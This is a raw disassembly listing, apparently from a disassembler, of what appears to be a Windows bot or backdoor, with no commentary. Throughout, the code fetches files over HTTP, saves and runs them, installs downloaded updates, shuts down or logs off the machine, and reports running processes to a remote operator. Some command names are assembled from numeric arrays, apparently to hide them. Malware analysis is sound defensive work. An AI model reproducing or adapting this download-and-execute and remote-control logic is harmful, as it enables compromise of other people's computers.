call near ptr 71AB428Ah
lea edi, [esi+7Ah]
mov ecx, edi
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aHttpGetting ; "http(getting)"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
push offset aWb ; "wb"
lea ecx, [esi+65h]
call sub_4017E4
push eax
call near ptr 77C3F010h
nop
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41DC80
mov ecx, edi
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadopen ; "http(badopen)"
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_24], esi
push ecx
mov ecx, offset byte_4E6EDB
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+34h+var_18]
mov byte ptr [esp+34h+arg_1138], 3
call sub_401226
lea ecx, [esp+34h+arg_14]
mov byte ptr [esp+34h+arg_1138], 2
call sub_401226
lea ecx, [esp+34h]
mov [esp+34h+arg_1138], 0FFFFFFFFh
call sub_401226
jmp loc_41DF4B
; ---------------------------------------------------------------------------
loc_41DC80: ; CODE XREF: sub_41D830+3DBj
; sub_41D830+484j ...
mov eax, [esp+34h+var_20]
push 0
lea edx, [esp+38h+arg_130]
push 1000h
push edx
push eax
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DCF8
cmp ebp, 1000h
jge short loc_41DCB0
mov [esp+ebp+44h+arg_120], 0
loc_41DCB0: ; CODE XREF: sub_41D830+476j
xor edi, edi
test ebp, ebp
jle short loc_41DC80
loc_41DCB6: ; CODE XREF: sub_41D830+4A5j
push 4
lea ecx, [esp+edi+48h+arg_120]
push offset asc_443EF8 ; "\r\n\r\n"
push ecx
nop
call near ptr 77C47A50h
add esp, 0Ch
test eax, eax
jz short loc_41DCD9
inc edi
cmp edi, ebp
jl short loc_41DCB6
jmp short loc_41DC80
; ---------------------------------------------------------------------------
loc_41DCD9: ; CODE XREF: sub_41D830+4A0j
add edi, 4
cmp edi, ebp
jge short loc_41DCF8
loc_41DCE0: ; CODE XREF: sub_41D830+4C6j
movsx edx, [esp+edi+44h+arg_120]
push ebx
push edx
call near ptr 77C40E76h
nop
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DCE0
loc_41DCF8: ; CODE XREF: sub_41D830+46Ej
; sub_41D830+4AEj ...
mov edi, [esp+44h+var_30]
push 0
lea eax, [esp+48h+arg_120]
push 1000h
push eax
push edi
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DD48
cmp ebp, 1000h
jge short loc_41DD28
mov [esp+ebp+54h+arg_110], 0
loc_41DD28: ; CODE XREF: sub_41D830+4EEj
xor edi, edi
test ebp, ebp
jle short loc_41DCF8
loc_41DD2E: ; CODE XREF: sub_41D830+514j
movsx ecx, [esp+edi+54h+arg_110]
push ebx
push ecx
call near ptr 77C40E76h
nop
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DD2E
jmp short loc_41DCF8
; ---------------------------------------------------------------------------
loc_41DD48: ; CODE XREF: sub_41D830+4E6j
push ebx
nop
call near ptr 77C40AB1h
add esp, 4
push edi
call near ptr 71AB9639h
nop
lea ecx, [esp+58h+var_3C]
mov [esp+58h+arg_1114], 3
call sub_401226
lea ecx, [esp+58h+var_C]
mov [esp+58h+arg_1114], 2
call sub_401226
loc_41DD7B: ; CODE XREF: sub_41D830+2CFj
mov al, [esi+90h]
test al, al
jnz loc_41DE17
lea ebp, [esi+65h]
mov ecx, ebp
call sub_4017E4
lea edi, [esi+7Ah]
push eax
push offset aDlDone_S_ ; "dl, done. %s ."
mov ecx, edi
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
mov al, [esi+8Fh]
add esp, 18h
test al, al
jz loc_41DF0F
push offset byte_446F70
mov ecx, ebp
call sub_4017E4
push eax
call sub_401299
add esp, 8
mov ecx, ebp
call sub_4017E4
push eax
push offset aOpenS_ ; "open %s."
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 18h
jmp loc_41DF0F
; ---------------------------------------------------------------------------
loc_41DE17: ; CODE XREF: sub_41D830+553j
lea ebx, [esi+65h]
mov ecx, ebx
call sub_4017E4
lea edi, [esi+7Ah]
push eax
push offset aDlEdUpdateS ; "dl'ed-update: %s"
mov ecx, edi
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 18h
lea edx, [esp+58h+var_3C]
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 51h
push edx
call sub_4019B5
add esp, 24h
mov ecx, eax
mov [esp+58h+arg_1114], 5
call sub_4014D3
push eax
mov ecx, ebx
call sub_4014D3
push eax
call sub_402149
add esp, 8
lea ecx, [esp+58h+var_3C]
mov bl, al
mov [esp+58h+arg_1114], 2
call sub_401226
test bl, bl
jz short loc_41DEEA
mov al, byte_4478D6
test al, al
jz short loc_41DEB9
push offset dword_447874
mov ecx, offset dword_448DB0
call sub_401447
loc_41DEB9: ; CODE XREF: sub_41D830+678j
mov al, byte_44791F
test al, al
jz short loc_41DED1
push offset byte_44794F
mov ecx, offset dword_448DB0
call sub_401942
loc_41DED1: ; CODE XREF: sub_41D830+690j
mov ecx, offset dword_448DB0
call sub_401E5B
push 1
mov byte_4E6E84, 0
nop
call near ptr 77C39E7Eh
loc_41DEEA: ; CODE XREF: sub_41D830+66Fj
mov ecx, edi
call sub_4014D3
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aExec_error ; "exec.error"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
loc_41DF0F: ; CODE XREF: sub_41D830+597j
; sub_41D830+5E2j
mov [esp+5Ch+var_44], esi
lea edx, [esp+5Ch+var_44]
loc_41DF17: ; CODE XREF: sub_41D830+1E7j
push edx
loc_41DF18: ; CODE XREF: sub_41D830+23Ej
; sub_41D830+2BDj
mov ecx, offset byte_4E6EDB
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+5Ch+var_28]
mov [esp+5Ch+arg_1110], 0FFFFFFFFh
call sub_401226
jmp short loc_41DF4B
; ---------------------------------------------------------------------------
loc_41DF38: ; CODE XREF: sub_41D830+36j
; sub_41D830+4Dj ...
mov [esp+1Ch+var_C], esi
lea eax, [esp+1Ch+var_C]
loc_41DF40: ; CODE XREF: sub_41D830+9Cj
push eax
mov ecx, offset byte_4E6EDB
call sub_40120D
sub_41D830 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D830
loc_41DF4B: ; CODE XREF: sub_41D830+44Bj
; sub_41D830+706j
mov ecx, [esp+34h+arg_1130]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 1164h
retn
; END OF FUNCTION CHUNK FOR sub_41D830
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 1D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E140 proc near ; CODE XREF: sub_401B90j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E140
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 0Fh
push 0Fh
push 2
push 5
push 12h
push 4Fh
push 3
lea eax, [esp+64h+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_41E140 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Eh
push 17h
push 0Fh
push 4
push 14h
push 15h
push 8
push 13h
push 4Fh
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019B5
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 6
push 6
push 0Fh
push 7
push 0Fh
push 0Ch
push 4Fh
push 3
lea ecx, [esp+40h]
push 10h
push ecx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41E2C0: ; CODE XREF: ___:loc_4010B4j
push ebx
push esi
push edi
mov edi, [esp+10h]
mov esi, ecx
lea ebx, [edi+7Eh]
lea ecx, [esi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E31B
push offset dword_443FFC
lea ecx, [edi+69h]
call sub_401681
mov cl, [edi+93h]
push eax
mov al, [edi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 14h
push 0
push 6
nop
call near ptr 28A0000h
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E31B: ; CODE XREF: ___:0041E2DEj
lea ecx, [esi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E36A
push offset aSysSd ; "sys(sd)"
lea ecx, [edi+69h]
call sub_401681
mov dl, [edi+94h]
push eax
mov al, [edi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 14h
push 0
push 5
call near ptr 28A0000h
nop
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E36A: ; CODE XREF: ___:0041E32Dj
lea ecx, [esi+60h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E3B1
push offset aSysLogoff ; "sys(logoff)"
lea ecx, [edi+69h]
call sub_401681
mov cl, [edi+94h]
mov dl, [edi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 14h
push 0
push 4
nop
call near ptr 28A0000h
loc_41E3B1: ; CODE XREF: ___:0041E37Cj
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E400 proc near ; CODE XREF: sub_401F5Fj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E400
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+6Ch+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_41E400 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea ecx, [esp+3Ch]
push 10h
push ecx
call sub_4019B5
add esp, 3Ch
mov dword ptr [esp+40h], 2
push esi
mov ecx, eax
call sub_4017E4
lea edx, [esi+8Eh]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+3Ch]
push 10h
push eax
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 9
push 10h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+54h]
push 10h
push edx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E660 proc near ; CODE XREF: sub_401613j
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41E660
push eax
mov large fs:0, esp
sub esp, 44h
push ebx
push ebp
push esi
mov esi, [esp+5Ch+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E7FA
lea eax, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push eax
call sub_4018D9
; ---------------------------------------------------------------------------
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0
push ecx
call sub_4011D6
add esp, 4
test al, al
jz loc_41E7E2
push 0
push 7Bh
push 25h
push 9
push 25h
push 25h
push 9
push 5
push 1Dh
push 23h
push 1Fh
lea edx, [esp+8Ch+var_3C]
push 79h
push edx
call sub_4019B5
add esp, 34h
mov edi, eax
lea ebx, [esi+69h]
mov byte ptr [esp+60h+var_4], 1
mov ecx, ebx
call sub_4014D3
push eax
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401703
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
xor edi, edi
call sub_4014D8
mov eax, [eax]
lea ecx, [esp+60h+var_4C]
push ecx
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], eax
call sub_40196F
push eax
lea ecx, [esp+64h+var_50]
call sub_401802
test al, al
jz short loc_41E7E2
mov ebp, dword_50F8D0
loc_41E76E: ; CODE XREF: sub_41E660+180j
lea ecx, [esp+60h+var_50]
inc edi
call sub_40122B
mov ecx, eax
call sub_4017E4
push eax
lea ecx, [esp+64h+var_50]
call sub_40122B
mov edx, [eax+15h]
mov ecx, ebx
push edx
push edi
push offset aD_PidDS ; "%d. - Pid: %d - \"%s\""
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 20h
push 5DCh
call ebp ; dword_50F8D0
lea ecx, [esp+60h+var_50]
call sub_40107D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
call sub_40196F
push eax
lea ecx, [esp+64h+var_50]
call sub_401802
test al, al
jnz short loc_41E76E
loc_41E7E2: ; CODE XREF: sub_41E660+62j
; sub_41E660+106j
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401816
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E660+37j
lea ecx, [edi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E8EE
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov [esp+64h+var_4], 2
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41EC15
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 3
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 4
call sub_4014D3
push eax
push offset dword_44402C
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41E8EE: ; CODE XREF: sub_41E660+1ACj
lea ecx, [edi+8Eh]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EA55
lea edx, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push edx
call sub_4016E0
; ---------------------------------------------------------------------------
lea eax, [esp+60h+var_48]
mov ebx, 5
push eax
mov [esp+64h+var_4], ebx
call sub_402144
add esp, 4
test al, al
jz loc_41EA3D
push 0
push 3Eh
push 13h
push ebx
push 3
push 9
push 16h
push 12h
push ebx
push 13h
lea ecx, [esp+88h+var_3C]
push 3Dh
push ecx
call sub_4019B5
add esp, 30h
mov edi, eax
lea ebp, [esi+69h]
mov byte ptr [esp+60h+var_4], 6
mov ecx, ebp
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], bl
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401B40
lea ecx, [esp+60h+var_4C]
xor edi, edi
push ecx
lea ecx, [esp+64h+var_48]
call sub_40145B
mov edx, [eax]
lea eax, [esp+60h+var_4C]
push eax
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], edx
call sub_4013ED
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jz short loc_41EA3D
mov ebx, dword_50F8D0
loc_41E9D6: ; CODE XREF: sub_41E660+3DBj
lea ecx, [esp+60h+var_50]
inc edi
call sub_401055
mov ecx, eax
call sub_4017E4
push eax
push edi
push offset dword_444020
mov ecx, ebp
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
push 5DCh
call ebx ; dword_50F8D0
lea ecx, [esp+60h+var_50]
call sub_40182A
lea eax, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push eax
call sub_4013ED
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jnz short loc_41E9D6
loc_41EA3D: ; CODE XREF: sub_41E660+2CFj
; sub_41E660+36Ej
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401253
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41EA55: ; CODE XREF: sub_41E660+2A3j
lea ecx, [edi+0BCh]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EB4C
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov [esp+64h+var_4], 7
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41EC15
push offset asc_443600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 8
call sub_4017E4
push eax
call sub_4019FB
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 9
call sub_4014D3
push eax
push offset dword_444018
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41EB4C: ; CODE XREF: sub_41E660+40Aj
lea ecx, [edi+60h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EC15
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov [esp+64h+var_4], 0Ah
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz short loc_41EC15
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_24]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 0Bh
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+60h+var_24]
mov ebx, eax
mov [esp+60h+var_4], edi
call sub_401226
test ebx, ebx
jz short loc_41EC15
push ebx
push offset dword_44400C
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
push ebx
call sub_4018A7
add esp, 1Ch
jmp short loc_41EC17
; ---------------------------------------------------------------------------
loc_41EC15: ; CODE XREF: sub_41E660+1F0j
; sub_41E660+44Ej ...
xor al, al
loc_41EC17: ; CODE XREF: sub_41E660+195j
; sub_41E660+289j ...
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 50h
retn 4
sub_41E660 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 180h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41EDB0: ; CODE XREF: ___:loc_401FE6j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43B210
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword_50F8D0
mov [ebp-10h], esp
mov esi, ecx
mov dword ptr [ebp-4], 0
loc_41EDE0: ; CODE XREF: ___:0041EDF1j
mov al, [esi+0ABh]
test al, al
jnz short loc_41EDF3
push 3E8h
call edi ; dword_50F8D0
jmp short loc_41EDE0
; ---------------------------------------------------------------------------
loc_41EDF3: ; CODE XREF: ___:0041EDE8j
mov al, [esi+0ACh]
lea ecx, [esi+15h]
push eax
push ecx
mov ecx, offset byte_4472B7
call sub_401A32
lea edx, [ebp-14h]
mov ecx, offset byte_4E6EDB
push edx
mov [ebp-14h], esi
call sub_40120D
; ---------------------------------------------------------------------------
loc_41EE19: ; DATA XREF: ___:loc_41EE2Co
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41EE2C: ; DATA XREF: ___:0044154Co
mov eax, offset loc_41EE19
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EE70 proc near ; CODE XREF: sub_401DE3j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov [esi+11h], eax
mov cl, [eax+94h]
mov [esi+0A9h], cl
mov dl, [eax+93h]
mov [esi+0A8h], dl
mov cl, [eax+95h]
add eax, 15h
mov [esi+0AAh], cl
push eax
lea ecx, [esi+2Ah]
call sub_401FBE
mov edx, [esi+11h]
lea ecx, [esi+69h]
add edx, 54h
push edx
call sub_401FBE
mov eax, [esi+11h]
lea ecx, [esi+54h]
add eax, 3Fh
push eax
call sub_401FBE
mov ecx, [esi+11h]
add ecx, 2Ah
push ecx
lea ecx, [esi+3Fh]
call sub_401FBE
mov edx, [esi+11h]
lea ecx, [esi+15h]
push edx
call sub_401FBE
mov al, [esp+4+arg_4]
mov byte ptr [esi+0ABh], 1
mov [esi+0ACh], al
pop esi
retn 8
sub_41EE70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EF30 proc near ; CODE XREF: sub_4020A9j
var_DC = dword ptr -0DCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_94 = byte ptr -94h
var_88 = dword ptr -88h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_44 = byte ptr -44h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_0 = byte ptr 4
arg_8 = byte ptr 0Ch
arg_14 = dword ptr 18h
arg_18 = byte ptr 1Ch
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_50 = byte ptr 54h
arg_68 = byte ptr 6Ch
arg_80 = byte ptr 84h
arg_88 = byte ptr 8Ch
arg_A8 = byte ptr 0ACh
arg_E4 = byte ptr 0E8h
arg_F0 = byte ptr 0F4h
arg_118 = byte ptr 11Ch
arg_128 = byte ptr 12Ch
arg_138 = byte ptr 13Ch
arg_148 = byte ptr 14Ch
arg_158 = byte ptr 15Ch
arg_908 = byte ptr 90Ch
arg_18C8 = dword ptr 18CCh
arg_18D8 = dword ptr 18DCh
arg_1930 = byte ptr 1934h
arg_1970 = dword ptr 1974h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41EF30
push eax
mov eax, 19B4h
mov large fs:0, esp
call sub_436840
push esi
push edi
mov edi, ecx
xor eax, eax
mov [esp+14h+var_8], edi
mov [esp+14h+arg_14], 10h
lea esi, [edi+19h]
mov ecx, esi
mov [ecx], eax
mov [ecx+4], eax
mov [ecx+8], eax
mov [ecx+0Ch], eax
mov word ptr [esi], 2
mov [edi+1Dh], eax
mov dx, word ptr dword_44768F
push edx
nop
call near ptr 71AB2B66h
push 6
push 1
push 2
mov [edi+1Bh], ax
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [edi+15h], eax
jnz short loc_41EFB7
lea eax, [esp+24h+var_18]
mov ecx, offset byte_4E6EDB
push eax
mov [esp+28h+var_18], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F65A
; ---------------------------------------------------------------------------
loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj
push 10h
push esi
push eax
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_41EFE7
mov ecx, [edi+15h]
push ecx
nop
call near ptr 71AB9639h
lea edx, [esp+34h+var_28]
mov ecx, offset byte_4E6EDB
push edx
mov [esp+38h+var_28], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F65A
; ---------------------------------------------------------------------------
loc_41EFE7: ; CODE XREF: sub_41EF30+93j
mov al, byte_4E6E84
test al, al
jz loc_41F650
push ebx
mov ebx, dword_50FB08
push ebp
mov ebp, dword_50FC8C
loc_41F002: ; CODE XREF: sub_41EF30+718j
mov eax, [edi+15h]
push 0Ah
push eax
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41F01D
push 0FAh
jmp loc_41F63B
; ---------------------------------------------------------------------------
loc_41F01D: ; CODE XREF: sub_41EF30+E1j
mov eax, [edi+15h]
lea ecx, [esp+40h+var_C]
lea edx, [esp+40h+arg_F0]
push ecx
push edx
push eax
nop
